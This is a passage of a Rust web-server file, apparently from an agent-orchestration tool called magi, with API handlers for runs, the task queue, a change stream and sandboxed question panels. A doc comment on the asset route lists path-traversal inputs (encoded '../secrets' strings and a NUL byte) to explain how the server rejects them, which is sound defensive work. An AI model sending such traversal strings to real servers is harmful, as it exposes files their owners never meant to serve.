1769                .map(|n| n.to_string_lossy().into_owned())
1770                .unwrap_or_default(),
1771            created_at: state.created_at.to_string(),
1772            updated_at: state.updated_at.to_string(),
1773            candidates: state.candidates.len(),
1774            viable: state.viable().len(),
1775            judges: state.config.graph.judges,
1776            winner: state.winner().map(|c| c.label),
1777            reviews: state.reviews.len(),
1778            quota_losses: state.quota.len(),
1779            event: state.events.last().map(|e| e.message.clone()),
1780            waiting,
1781            // Filled in by the list route, which is the only place that can
1782            // see a task's other attempts.
1783            superseded_by: None,
1784            pr: state.pr.clone(),
1785        }
1786    }
1787}
1788
1789/// `RunStatus` as the wire spells it. Every variant is one word, so this is
1790/// the same string `serde` writes for the status inside a full run.
1791fn status_word(status: RunStatus) -> String {
1792    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
1793    // was a third way of naming the same statuses, and one that changed
1794    // silently with a derive.
1795    status.as_str().to_owned()
1796}
1797
1798/// `?limit=`, clamped by the handler.
1799#[derive(Debug, Deserialize)]
1800struct ListQuery {
1801    #[serde(default)]
1802    limit: Option<usize>,
1803}
1804
1805async fn runs_list(
1806    State(ui): State<Arc<Ui>>,
1807    Query(q): Query<ListQuery>,
1808) -> ApiResult<Json<Vec<RunSummary>>> {
1809    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
1810    blocking(move || {
1811        let superseded = superseded_runs(&ui.queue);
1812        let summaries = run_ids(&ui.runs)
1813            .into_iter()
1814            // A run whose state cannot be read is skipped, not fatal: a run
1815            // killed mid-write must not blank the history of every other one.
1816            // The detail route still explains it, which is where an operator
1817            // asking "what happened to that run" ends up.
1818            .filter_map(|id| read_run(&ui.runs, &id).ok())
1819            .take(limit)
1820            .map(|state| {
1821                let waiting = !ui.questions.open_for(&state.id).is_empty();
1822                let by = superseded.get(&state.id).cloned();
1823                let mut row = RunSummary::of(&state, waiting);
1824                row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
1825                row
1826            })
1827            .collect();
1828        Ok(Json(summaries))
1829    })
1830    .await
1831}
1832
1833/// Runs that a later attempt at the same task replaced, mapped to the id of
1834/// the attempt that replaced them.
1835///
1836/// A task keeps its attempts in order, and the deck showed them as two cards
1837/// with the same title and no hint which was which: yukimemi asked why
1838/// `stalled` and `blocked` appeared twice for one task, and the answer -
1839/// "those are two tries, and the second one exists because of a bug since
1840/// fixed" - was not on the screen anywhere.
1841///
1842/// Read from the queue rather than stored on the run, because the ordering is
1843/// the queue's fact: a `RunState` has no idea another attempt happened after
1844/// it.
1845fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
1846    let mut by = HashMap::new();
1847    for task in queue.list() {
1848        for pair in task.runs.windows(2) {
1849            if let [earlier, later] = pair {
1850                by.insert(earlier.clone(), later.clone());
1851            }
1852        }
1853    }
1854    by
1855}
1856
1857/// A run as the detail route hands it to the phone.
1858///
1859/// The whole state, flattened, plus `instruction_md`: the Task panel renders
1860/// the instruction as markdown, and the raw `instruction` field this struct
1861/// still carries (unchanged) is what a client wanting the exact bytes reads
1862/// instead.
1863#[derive(Debug, Serialize)]
1864struct RunDetailView {
1865    #[serde(flatten)]
1866    state: RunState,
1867    instruction_md: Vec<md::Node>,
1868}
1869
1870impl From<RunState> for RunDetailView {
1871    fn from(state: RunState) -> Self {
1872        Self {
1873            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
1874            state,
1875        }
1876    }
1877}
1878
1879async fn run_detail(
1880    State(ui): State<Arc<Ui>>,
1881    Path(id): Path<String>,
1882) -> ApiResult<Json<RunDetailView>> {
1883    blocking(move || {
1884        let id = resolve_run(&ui.runs, &id)?;
1885        Ok(Json(RunDetailView::from(read_run(&ui.runs, &id)?)))
1886    })
1887    .await
1888}
1889
1890/// `DELETE /api/runs/{id}`.
1891///
1892/// Remove a finished, folded run directory along with its artifacts.
1893/// Running runs and runs with unfolded candidate worktrees/branches cannot be
1894/// deleted. This never touches git worktrees or branches - except for a run
1895/// whose state this build cannot read at all, where there is no candidate
1896/// list to check and the wholesale removal `magi fold` already uses for that
1897/// case is the only meaningful "delete".
1898async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
1899    let (id, unreadable) = {
1900        let ui = Arc::clone(&ui);
1901        blocking(move || {
1902            let id = resolve_run(&ui.runs, &id)?;
1903            match read_run(&ui.runs, &id) {
1904                Ok(state) => {
1905                    let in_flight =
1906                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
1907                    state
1908                        .ensure_can_delete(in_flight)
1909                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
1910                    let dir = ui.runs.join(&id);
1911                    std::fs::remove_dir_all(&dir)
1912                        .with_context(|| format!("remove run directory {}", dir.display()))?;
1913                    Ok((id, false))
1914                }
1915                Err(_) => {
1916                    // Unreadable: there is no candidate list to guard on, so
1917                    // a live daemon's claim is the only thing left to check -
1918                    // the same rule `run_fold` applies for the same reason.
1919                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
1920                        return Err(ApiError::conflict(format!(
1921                            "run {id} is being worked on by a live daemon right now"
1922                        )));
1923                    }
1924                    Ok((id, true))
1925                }
1926            }
1927        })
1928        .await?
1929    };
1930    if unreadable {
1931        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
1932            .await
1933            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
1934    }
1935    let ui = Arc::clone(&ui);
1936    let done = id.clone();
1937    blocking(move || {
1938        // The agent that asked died with the run, so an open question would
1939        // keep asking the operator for a decision nobody can deliver.
1940        ui.questions.abandon_for_run(
1941            &done,
1942            &format!("run {done} was deleted, so nothing is waiting for this answer"),
1943        )?;
1944        Ok(())
1945    })
1946    .await?;
1947    Ok(StatusCode::NO_CONTENT)
1948}
1949
1950/// `POST /api/runs/{id}/fold`.
1951///
1952/// Remove a run's candidate worktrees and branches, keeping its record.
1953///
1954/// This exists because the deck answered "delete this run" with *"Candidates
1955/// must be folded before deleting. Run `magi fold` first."* — a phone being
1956/// told to open a terminal, in the one product whose point is that it does
1957/// not need one. The runs an operator most wants gone are the stalled and
1958/// blocked ones, and those are exactly the runs still holding worktrees:
1959/// three of them here held 53 GB.
1960///
1961/// The winner's tree goes too. A fold is what someone asks for when they are
1962/// finished with a run, and leaving one tree behind would leave the delete
1963/// button disabled for the same reason as before.
1964///
1965/// Refused while a live daemon is working on the run, on the rule that guards
1966/// deletion: folding underneath a running agent would pull the tree it is
1967/// editing out from under it.
1968///
1969/// A run whose state this build cannot read at all falls back to
1970/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
1971/// selectively, so the whole record's worktree goes wholesale, exactly what
1972/// `magi fold` does on the command line for the same run.
1973async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
1974    let (id, state) = {
1975        let ui = Arc::clone(&ui);
1976        blocking(move || {
1977            let id = resolve_run(&ui.runs, &id)?;
1978            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
1979                return Err(ApiError::conflict(format!(
1980                    "run {id} is being worked on by a live daemon right now"
1981                )));
1982            }
1983            let state = read_run(&ui.runs, &id).ok();
1984            Ok((id, state))
1985        })
1986        .await?
1987    };
1988    let removed = match state {
1989        Some(mut state) => crate::graph::fold_run(&mut state, true)
1990            .await
1991            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
1992        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
1993            .await
1994            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
1995    };
1996    Ok(Json(FoldView {
1997        run: id,
1998        removed_count: removed.len(),
1999        removed,
2000    }))
2001}
2002
2003/// What a fold took away, so the deck can say so rather than only re-render.
2004#[derive(Debug, Serialize)]
2005struct FoldView {
2006    run: String,
2007    /// Worktree paths and branch names removed, in the order they went.
2008    removed: Vec<String>,
2009    removed_count: usize,
2010}
2011
2012/// `POST /api/runs/{id}/resume`.
2013///
2014/// Carry a stalled run on from where it stopped, in the background.
2015///
2016/// A stalled card says "the work is kept" and used to offer no way to act on
2017/// that: the candidates are built and paid for, and continuing means re-asking
2018/// only the seats whose absence collapsed the panel. The alternative an
2019/// operator actually had was releasing the task, which competes three fresh
2020/// implementations against work that already exists.
2021///
2022/// **202, not 200.** A resume runs agents for minutes; holding the connection
2023/// is the mistake `POST /api/chats/{id}/say` already made and had fixed. The
2024/// phone learns the outcome from the change stream.
2025///
2026/// Refused when the loop is running at all, not merely when it is on this run.
2027/// magi runs one competition at a time on purpose — the scarce resource is the
2028/// agent CLIs' quota — and a tap that quietly started a second graph would
2029/// double the burn for no extra throughput.
2030async fn run_resume(
2031    State(ui): State<Arc<Ui>>,
2032    Path(id): Path<String>,
2033) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2034    let (id, state) = {
2035        let ui = Arc::clone(&ui);
2036        blocking(move || {
2037            let id = resolve_run(&ui.runs, &id)?;
2038            let state = read_run(&ui.runs, &id)?;
2039            Ok((id, state))
2040        })
2041        .await?
2042    };
2043    if !state.status.resumable() {
2044        return Err(ApiError::conflict(format!(
2045            "run {} is `{}`, and only a stalled or blocked run can be resumed",
2046            state.short(),
2047            status_word(state.status)
2048        )));
2049    }
2050    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now()) {
2051        return Err(ApiError::conflict(format!(
2052            "the loop is running run {} right now; magi runs one competition at \
2053             a time so the agent quota is not spent twice over. Stop the loop \
2054             first.",
2055            crate::run::short_of(&work.run)
2056        )));
2057    }
2058    let _resume = ui.begin_resume(&id)?;
2059
2060    // The same shape the list route returns, so the phone updates the card it
2061    // already has rather than learning a second schema for one button.
2062    let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2063    let run = id.clone();
2064    tokio::spawn(async move {
2065        let _resume = _resume;
2066        match crate::graph::Runner::resume(&run) {
2067            Ok(mut runner) => {
2068                if let Err(e) = runner.execute().await {
2069                    tracing::warn!("resume of run {run} stopped: {e:#}");
2070                }
2071            }
2072            // The run's own record is what the phone reads; this line is for
2073            // the operator's terminal.
2074            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2075        }
2076    });
2077    Ok((StatusCode::ACCEPTED, Json(queued)))
2078}
2079
2080async fn run_report(
2081    State(ui): State<Arc<Ui>>,
2082    Path(id): Path<String>,
2083) -> ApiResult<impl IntoResponse> {
2084    let text = blocking(move || {
2085        let id = resolve_run(&ui.runs, &id)?;
2086        // Colour is off for the whole process, set once in `serve`. Rendering
2087        // is CPU work over the full state, which is the other reason this is
2088        // not on the executor.
2089        Ok(report::run(&read_run(&ui.runs, &id)?))
2090    })
2091    .await?;
2092    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2093}
2094
2095/// A task as the UI sees it.
2096///
2097/// The whole task, plus the two things the client would otherwise have to
2098/// reimplement: the human-readable source and the status string. Nothing is
2099/// removed - the phone shows `last_error` and the run history verbatim.
2100#[derive(Debug, Serialize)]
2101struct TaskView {
2102    #[serde(flatten)]
2103    task: Task,
2104    source_label: String,
2105    status_str: &'static str,
2106    /// The instruction, parsed as markdown, for the Queue card's "Full
2107    /// instruction" panel. `task.instruction` is unchanged and still carries
2108    /// the raw text.
2109    instruction_md: Vec<md::Node>,
2110}
2111
2112impl From<Task> for TaskView {
2113    fn from(task: Task) -> Self {
2114        Self {
2115            source_label: task.source.label(),
2116            status_str: task.status.as_str(),
2117            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2118            task,
2119        }
2120    }
2121}
2122
2123/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
2124/// its absence, leaves the cache to decide.
2125#[derive(Debug, Default, Deserialize)]
2126#[serde(default)]
2127struct ReposQuery {
2128    refresh: u8,
2129}
2130
2131/// `GET /api/repos` - the repository picker for the plan surface's "start a
2132/// conversation" panel and its "continue in another repository" action.
2133///
2134/// Reads `[repos] roots` and `[repos] scan_ttl` off the same config the rest
2135/// of the plan surface uses, discovered against `ui.repo` so an edit to
2136/// `magi.toml` takes effect without a restart, the same reasoning
2137/// [`config_for`] documents for the chat routes.
2138async fn repos_list(
2139    State(ui): State<Arc<Ui>>,
2140    Query(q): Query<ReposQuery>,
2141) -> ApiResult<Json<Vec<repos::Repo>>> {
2142    let refresh = q.refresh != 0;
2143    blocking(move || {
2144        let (cfg, _) = Config::discover(&ui.repo, None)?;
2145        Ok(Json(ui.repos_cache.list(
2146            &cfg.repos.roots,
2147            Duration::from_secs(cfg.repos.scan_ttl),
2148            refresh,
2149        )))
2150    })
2151    .await
2152}
2153
2154async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2155    blocking(move || {
2156        Ok(Json(
2157            ui.queue.list().into_iter().map(TaskView::from).collect(),
2158        ))
2159    })
2160    .await
2161}
2162
2163async fn queue_hold(
2164    State(ui): State<Arc<Ui>>,
2165    Path(id): Path<String>,
2166) -> ApiResult<Json<TaskView>> {
2167    mutate(ui, id, Task::hold).await
2168}
2169
2170async fn queue_release(
2171    State(ui): State<Arc<Ui>>,
2172    Path(id): Path<String>,
2173) -> ApiResult<Json<TaskView>> {
2174    mutate(ui, id, Task::release).await
2175}
2176
2177/// `DELETE /api/queue/{id}`.
2178///
2179/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
2180/// names this task: a `running` status or an orphaned `.lock` left behind by a
2181/// killed daemon is a leftover, and treating either as authority made the
2182/// task undeletable from the phone for good. The associated runs, if any, are
2183/// kept: a run is self-contained history and not an appendage of the task.
2184async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2185    blocking(move || {
2186        let id = resolve_task(&ui.queue, &id)?;
2187        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2188        ui.queue
2189            .remove(&id, in_flight)
2190            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2191        Ok(StatusCode::NO_CONTENT)
2192    })
2193    .await
2194}
2195
2196/// Read a task, change it, write it back, under the queue's own lock.
2197///
2198/// Taking the same claim a daemon takes is what makes hold and release safe to
2199/// press while magi is running: without it the daemon's next save would land
2200/// on top of the operator's hold and the task would keep going.
2201async fn mutate(ui: Arc<Ui>, id: String, change: fn(&mut Task)) -> ApiResult<Json<TaskView>> {
2202    blocking(move || {
2203        let id = resolve_task(&ui.queue, &id)?;
2204        // `claim` fails when the lock file already exists, which is the
2205        // conflict the UI must report: the daemon owns that task's file for
2206        // as long as it is running it, and our write would be lost under its
2207        // next save. The message names the lock either way.
2208        let _claim = ui.queue.claim(&id).map_err(|e| {
2209            ApiError::conflict(format!(
2210                "{e:#} - a daemon is running this task, so it cannot be \
2211                 changed from here yet"
2212            ))
2213        })?;
2214        let mut task = ui.queue.get(&id)?;
2215        change(&mut task);
2216        ui.queue.put(&mut task)?;
2217        Ok(Json(TaskView::from(task)))
2218    })
2219    .await
2220}
2221
2222/// The change stream: one revision number per store, on connect and whenever
2223/// any of them moves.
2224///
2225/// The poll runs in one spawned task per client, which is affordable because
2226/// the work is a directory scan and a `stat` per file. It stops as soon as the
2227/// receiver is gone, so a phone that walks out of range costs nothing after
2228/// its next tick - there is no session and no cleanup to forget.
2229async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2230    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2231    tokio::spawn(async move {
2232        let mut ticker = tokio::time::interval(POLL);
2233        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
2234        loop {
2235            // The first tick completes immediately, which is what makes the
2236            // stream announce the current revisions on connect.
2237            ticker.tick().await;
2238            let state = Arc::clone(&ui);
2239            let revisions = tokio::task::spawn_blocking(move || {
2240                (
2241                    state.queue.revision(),
2242                    runs_revision(&state.runs),
2243                    state.questions.revision(),
2244                    state.chats.revision(),
2245                    state.talks.revision(),
2246                    // The loop's counter is in-process state rather than a
2247                    // file, so nothing the three stats above look at would
2248                    // tell this phone that another one started the loop.
2249                    state.lock_loop().rev,
2250                )
2251            })
2252            .await;
2253            let Ok(revisions) = revisions else { break };
2254            if last == Some(revisions) {
2255                continue;
2256            }
2257            last = Some(revisions);
2258            let payload = serde_json::json!({
2259                "queue_rev": revisions.0,
2260                "runs_rev": revisions.1,
2261                "questions_rev": revisions.2,
2262                "chats_rev": revisions.3,
2263                "talks_rev": revisions.4,
2264                "loop_rev": revisions.5,
2265            });
2266            // Serializing five integers cannot fail; giving up beats looping.
2267            let Ok(event) = Event::default().event("change").json_data(payload) else {
2268                break;
2269            };
2270            if tx.send(event).await.is_err() {
2271                break;
2272            }
2273        }
2274    });
2275    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2276        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2277}
2278
2279/// Change detection token for recorded runs under `runs`.
2280///
2281/// Combines the id and `run.json` modification time of each run, so adding,
2282/// updating, or deleting any run — even an older one — moves the revision and
2283/// notifies connected clients via the change stream. Returns 0 when no runs
2284/// exist.
2285fn runs_revision(runs: &FsPath) -> u64 {
2286    use std::hash::{Hash as _, Hasher as _};
2287
2288    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2289        .into_iter()
2290        .flatten()
2291        .flatten()
2292        .filter_map(|e| {
2293            let path = e.path().join("run.json");
2294            let mtime = path
2295                .metadata()
2296                .ok()?
2297                .modified()
2298                .ok()?
2299                .duration_since(std::time::UNIX_EPOCH)
2300                .ok()?
2301                .as_millis() as u64;
2302            let id = e.file_name().to_string_lossy().into_owned();
2303            Some((id, mtime))
2304        })
2305        .collect();
2306
2307    if entries.is_empty() {
2308        return 0;
2309    }
2310
2311    entries.sort_unstable();
2312    let mut hasher = std::hash::DefaultHasher::new();
2313    for (id, mtime) in &entries {
2314        id.hash(&mut hasher);
2315        mtime.hash(&mut hasher);
2316    }
2317    let h = hasher.finish();
2318    if h == 0 { 1 } else { h }
2319}
2320
2321/// Run ids under `runs`, newest first.
2322///
2323/// Rooted at an explicit directory rather than calling [`run::list_ids`],
2324/// which reads the process-global home: the server has to be drivable against
2325/// a temp directory for any of this to be testable.
2326fn run_ids(runs: &FsPath) -> Vec<String> {
2327    let mut ids: Vec<String> = std::fs::read_dir(runs)
2328        .into_iter()
2329        .flatten()
2330        .flatten()
2331        .filter(|e| e.path().join("run.json").is_file())
2332        .map(|e| e.file_name().to_string_lossy().into_owned())
2333        .collect();
2334    // Ids start with a sortable timestamp.
2335    ids.sort_unstable_by(|a, b| b.cmp(a));
2336    ids
2337}
2338
2339/// Read one run's state from an explicit runs root.
2340fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2341    let path = runs.join(id).join("run.json");
2342    let body =
2343        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2344    let state: RunState =
2345        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2346    if state.schema != run::SCHEMA {
2347        anyhow::bail!(
2348            "run {} was written by a different magi (schema {}, this build speaks {})",
2349            state.id,
2350            state.schema,
2351            run::SCHEMA
2352        );
2353    }
2354    Ok(state)
2355}
2356
2357/// Runs on disk under `runs` whose state this build cannot parse - almost
2358/// always a schema bump, occasionally a run killed mid-write.
2359///
2360/// Exposed so every surface that reports on runs shares one count instead of
2361/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
2362/// `magi doctor` calls this directly rather than guessing at the same number
2363/// a second way.
2364#[must_use]
2365pub fn runs_unreadable(runs: &FsPath) -> usize {
2366    run_ids(runs)
2367        .into_iter()
2368        .filter(|id| read_run(runs, id).is_err())
2369        .count()
2370}
2371
2372/// Expand an id or short id to exactly one run id.
2373fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2374    if runs.join(id).join("run.json").is_file() {
2375        return Ok(id.to_owned());
2376    }
2377    pick(run_ids(runs), id, "run")
2378}
2379
2380/// Expand an id or short id to exactly one task id.
2381fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2382    if queue.path_of(id).is_file() {
2383        return Ok(id.to_owned());
2384    }
2385    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2386}
2387
2388/// A question as the phone reads it.
2389///
2390/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
2391/// text already parsed into a node tree so the client never runs its own
2392/// markdown reader over agent-authored prose. A relative image path in it
2393/// resolves against this question's own panel asset route, which is the one
2394/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
2395/// separate, sandboxed document, but `detail` is rendered inline in the
2396/// operator's own page, so an image reference in it may only ever point at
2397/// files magi itself already serves for this question.
2398#[derive(Debug, Serialize)]
2399struct QuestionView {
2400    #[serde(flatten)]
2401    question: Question,
2402    detail_md: Vec<md::Node>,
2403}
2404
2405impl From<Question> for QuestionView {
2406    fn from(question: Question) -> Self {
2407        let base = md::ImageBase::QuestionPanel {
2408            id: question.id.clone(),
2409        };
2410        Self {
2411            detail_md: md::to_nodes(&question.detail, &base),
2412            question,
2413        }
2414    }
2415}
2416
2417/// `GET /api/questions`.
2418///
2419/// Everything, not just the open ones: an answered question is the record of a
2420/// decision, and the phone is where the operator goes back to check what they
2421/// told an agent at 3am. `ask::Questions::list` already ranks open first.
2422async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2423    blocking(move || {
2424        Ok(Json(
2425            ui.questions
2426                .list()
2427                .into_iter()
2428                .map(QuestionView::from)
2429                .collect(),
2430        ))
2431    })
2432    .await
2433}
2434
2435/// The body of `POST /api/questions/{id}/answer`.
2436///
2437/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
2438/// a bad request rather than a guess: an answer magi invented is worse than a
2439/// question left open.
2440#[derive(Debug, Default, Deserialize)]
2441#[serde(default, deny_unknown_fields)]
2442struct NewAnswer {
2443    choice: Option<String>,
2444    text: Option<String>,
2445}
2446
2447async fn question_answer(
2448    State(ui): State<Arc<Ui>>,
2449    Path(id): Path<String>,
2450    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2451) -> ApiResult<Json<QuestionView>> {
2452    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2453    let answer = match (body.choice, body.text) {
2454        (Some(c), None) => Answer::Choice(c),
2455        (None, Some(t)) => Answer::Text(t),
2456        (Some(_), Some(_)) => {
2457            return Err(ApiError::bad_request(
2458                "send either `choice` or `text`, not both",
2459            ));
2460        }
2461        (None, None) => {
2462            return Err(ApiError::bad_request("send a `choice` or a `text`"));
2463        }
2464    };
2465
2466    blocking(move || {
2467        let id = resolve_question(&ui.questions, &id)?;
2468        let mut q = ui
2469            .questions
2470            .get(&id)
2471            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2472        if !q.status.open() {
2473            // Answered from the terminal, or by another phone, in between the
2474            // list and the tap. The UI shows the recorded answer rather than an
2475            // error, so it needs the record, not just the status.
2476            return Err(ApiError::conflict(format!(
2477                "question {} is already {}",
2478                q.short(),
2479                q.status.as_str()
2480            )));
2481        }
2482        // `Question::answer` owns the rules - an unoffered choice, free text on
2483        // a multiple-choice question, an empty reply - so the route does not
2484        // restate them and cannot drift from the CLI's behaviour.
2485        q.answer(answer).map_err(ApiError::bad_request_from)?;
2486        ui.questions.put(&mut q)?;
2487        Ok(Json(QuestionView::from(q)))
2488    })
2489    .await
2490}
2491
2492/// Expand an id or short id to exactly one question id.
2493fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
2494    if store.path_of(id).is_file() {
2495        return Ok(id.to_owned());
2496    }
2497    pick(
2498        store.list().into_iter().map(|q| q.id).collect(),
2499        id,
2500        "question",
2501    )
2502}
2503
2504/// `GET /api/questions/{id}/panel`.
2505///
2506/// The panel an agent wrote for this question, as `text/html` under
2507/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
2508/// A question without one is a 404 rather than an empty page: the client
2509/// preflights this route with `HEAD` and must be able to tell "no panel" from
2510/// "a panel that rendered blank", and a sandboxed frame is opaque to the
2511/// parent document so it cannot tell the difference by looking.
2512///
2513/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
2514/// sanitises or minifies it - a sanitiser is a list of things someone thought
2515/// of, and the sandbox plus the CSP is a list of things that are allowed, which
2516/// is the direction that stays safe when an agent writes markup nobody
2517/// predicted.
2518async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
2519    blocking(move || {
2520        let id = resolve_question(&ui.questions, &id)?;
2521        let Some(html) = ui.questions.panel_html(&id) else {
2522            return Err(ApiError::not_found(format!("question {id} has no panel")));
2523        };
2524        Ok(panel_response(
2525            "text/html; charset=utf-8",
2526            false,
2527            html.into_bytes(),
2528        ))
2529    })
2530    .await
2531}
2532
2533/// `GET /api/questions/{id}/asset/{name}`.
2534///
2535/// One file from the question's own panel directory, so a panel can show a
2536/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
2537/// having to allow anything off this machine.
2538///
2539/// This is the only route in the server where a client names a file, so it is
2540/// the only one with a traversal surface, and the name is checked by
2541/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
2542/// what is worth being explicit about, because the answer is not "all of it in
2543/// one place":
2544///
2545/// * `asset/../../secrets` never reaches this handler at all. axum matches on
2546///   the raw request path and `{name}` spans exactly one segment, so a real
2547///   slash makes the request too long for the route and the router answers 404.
2548/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
2549///   percent-decodes path parameters, so `name` arrives as `../secrets` and
2550///   `..\secrets` respectively, which look like plain filenames to the router.
2551///   The validator refuses them here - both for the literal `..` and because
2552///   `/` and `\` are not in the permitted character set - and answers 400.
2553/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
2554///   the platform's path API is not, and it is refused here for the same
2555///   reason: NUL is not a permitted character.
2556/// * [`Questions::panel_asset`] validates again on read, so the check is not
2557///   load-bearing in only one place. This route's own check exists so the
2558///   failure is a 400 that says which name was wrong, rather than a store error
2559///   the operator has to interpret.
2560async fn question_asset(
2561    State(ui): State<Arc<Ui>>,
2562    Path((id, name)): Path<(String, String)>,
2563) -> ApiResult<Response> {
2564    // Before any filesystem work and before any path is built: a name this
2565    // server will not serve should not become a `PathBuf` at all.
2566    if !crate::ask::valid_asset_name(&name) {
2567        return Err(ApiError::bad_request(format!(
2568            "`{name}` is not a usable asset name"
2569        )));
2570    }
2571    blocking(move || {
2572        let id = resolve_question(&ui.questions, &id)?;
2573        let asset = ui
2574            .questions
2575            .panel_asset(&id, &name)
2576            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2577        let Some(bytes) = asset else {
2578            return Err(ApiError::not_found(format!(
2579                "question {id} has no asset `{name}`"
2580            )));
2581        };
2582        Ok(panel_response(
2583            asset_content_type(&name),
2584            is_svg(&name),
2585            bytes,
2586        ))
2587    })
2588    .await
2589}
2590
2591/// Content type for a panel asset, from a closed whitelist.
2592///
2593/// A whitelist with an `application/octet-stream` fallback rather than a
2594/// guess, because the one answer that must never come out of here is
2595/// `text/html`. An agent that writes `notes.html` into its panel directory and
2596/// links it would otherwise get its own markup rendered at the top level of the
2597/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
2598/// magi's origin - which is precisely the thing the panel design exists to
2599/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
2600///
2601/// `nosniff` accompanies this on every response, so a browser cannot decide it
2602/// knows better than the type we sent.
2603fn asset_content_type(name: &str) -> &'static str {
2604    match extension(name).as_deref() {
2605        Some("png") => "image/png",
2606        Some("jpg" | "jpeg") => "image/jpeg",
2607        Some("gif") => "image/gif",
2608        Some("webp") => "image/webp",
2609        Some("svg") => "image/svg+xml",
2610        Some("css") => "text/css; charset=utf-8",
2611        Some("txt") => "text/plain; charset=utf-8",
2612        _ => "application/octet-stream",
2613    }
2614}
2615
2616/// Is this an SVG, and therefore a file that must never be opened at the top
2617/// level?
2618fn is_svg(name: &str) -> bool {
2619    extension(name).as_deref() == Some("svg")
2620}
2621
2622/// Lowercased extension, or `None` for a name without one.
2623fn extension(name: &str) -> Option<String> {
2624    name.rsplit_once('.')
2625        .map(|(_, ext)| ext.to_ascii_lowercase())
2626}
2627
2628/// Every panel response, with the four headers that make it safe and, for an
2629/// SVG, a fifth.
2630///
2631/// One function rather than a header list per handler, because a panel route
2632/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
2633/// model gone, silently, on one of two routes. Adding a third panel route later
2634/// means calling this, and there is nowhere else to build a panel response.
2635///
2636/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
2637/// as an `<img src>` inside the panel that script cannot run - but the asset
2638/// URL is also a plain URL an operator can be talked into opening in a tab,
2639/// where it is a document on magi's own origin. `Content-Disposition:
2640/// attachment` makes the browser download it instead of rendering it, which
2641/// closes that door without taking away the ability to draw a diff. Raster
2642/// images have no such execution surface and are left inline, so tapping a
2643/// screenshot still shows it.
2644fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
2645    let mut res = (
2646        [
2647            (header::CONTENT_TYPE, content_type),
2648            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
2649            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
2650            (header::REFERRER_POLICY, "no-referrer"),
2651        ],
2652        body,
2653    )
2654        .into_response();
2655    if download {
2656        res.headers_mut().insert(
2657            header::CONTENT_DISPOSITION,
2658            HeaderValue::from_static("attachment"),
2659        );
2660    }
2661    res
2662}
2663
2664/// A chat as the phone reads it.
2665///
2666/// Every field of [`Chat`] verbatim, plus the two things `app.js` would
